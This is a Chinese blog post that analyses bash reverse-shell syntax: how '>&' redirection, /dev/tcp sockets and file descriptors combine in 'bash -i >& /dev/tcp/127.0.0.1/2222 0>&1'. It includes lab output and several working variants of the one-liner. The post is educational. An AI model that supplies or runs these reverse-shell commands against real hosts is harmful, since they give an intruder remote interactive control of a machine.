分析bash反弹shell的语法

问题背景

对下面的反弹shell语法细节有些模糊,故分析一下。

bash -i >& /dev/tcp/127.0.0.1/2222 0>&1

分析过程

  • -i 参数

    生成交互式shell

  • >& 是什么?

    bash中>&语法比较特殊,有两种解释:

    • 后面接数字时,如>&1表示复制文件描述符

    • 后面接非数字时,如>&xxx表示标准输入和标准输出重定向

      可以查看man bash手册,有详细介绍。

      在这个反弹shell中,第一个>&含义是 把标准输入和标准输出重定向到socket

  • /dev/tcp/127.0.0.1/2222 是什么?

    它不是文件,只是bash解释器会对/dev/tcp对特殊处理,代表了一个tcp socket。

    所以如果其他的sh解释器,如zsh、ksh等没有这个特殊解释时,就不能用这个来打开socket。

    更详细的可以看参考资料

  • 0>&1 是什么?

    将标准输入重定向到标准输出

  • “>& /dev/tcp/127.0.0.1/2222” 为什么不是 “> /dev/tcp/127.0.0.1/2222”?

    bash -i > /dev/tcp/127.0.0.1/2222 0>&1

    其实是可以的,不过这样标准错误就没有重定向到socket。可以通过查看 /proc/{pid}/fd/ 验证

根据上面的了解,可以推导出 这个反弹shell会将自己的标准输入、标准输出、标准错误全部重定向到同一个socket。

动手实验

  1. 验证>&语法

    &>是一种特殊情况

    1
    2
    3
    4
    5
    6
    ls /tmp/ >&111   因为 ">&数字",所以会被bash解释成"复制文件描述符"来执行。执行命令时因为不存在111文件描述符,所以报错
    ls /tmp/ >&xxx 因为不是 ">&数字",所以会被bash解释成"重定向标准输出和标准错误"来执行

    执行结果,只有xxx文件,没有111文件
    [root@instance-fj5pftdp t]# ls
    xxx
  2. 验证 文件描述符指向 socket

    执行bash -i >& /dev/tcp/127.0.0.1/2222 0>&1后的文件描述符指向了同一个socket

    1
    2
    3
    4
    5
    6
    7
    [root@instance-fj5pftdp ~]# ls -al /proc/4961/fd/
    总用量 0
    dr-x------ 2 root root 0 2月 19 11:26 .
    dr-xr-xr-x 9 root root 0 2月 19 11:26 ..
    lrwx------ 1 root root 64 2月 19 11:27 0 -> socket:[201270351]
    lrwx------ 1 root root 64 2月 19 11:27 1 -> socket:[201270351]
    lrwx------ 1 root root 64 2月 19 11:26 2 -> socket:[201270351]

    如果执行bash -i > /dev/tcp/127.0.0.1/2222 0>&1,标准错误描述符就不会指向socket

    另外命令中需要注意到空格,”[n]>&word”可以写成”[n]>& word”,不可以写成”[n] >&word”

    比如下面命令反弹shell会有些问题

    1
    2
    bash -i 1 >& /dev/tcp/127.0.0.1/2222 0>&1
    bash -i >& /dev/tcp/127.0.0.1/2222 0 >&1

    而下面命令可以反弹shell

    1
    2
    3
    4
    bash -i 1>&/dev/tcp/127.0.0.1/2222 0>&1
    bash -i 1>& /dev/tcp/127.0.0.1/2222 0>& 1

    bash -i >& /dev/tcp/127.0.0.1/2222 0>&2

总结

主要还是学习bash相关知识点,包括:

  • “>&”的两种用法
  • “/dev/tcp/127.0.0.1/2222” 不是文件,而是bash解释器对其特殊处理

参考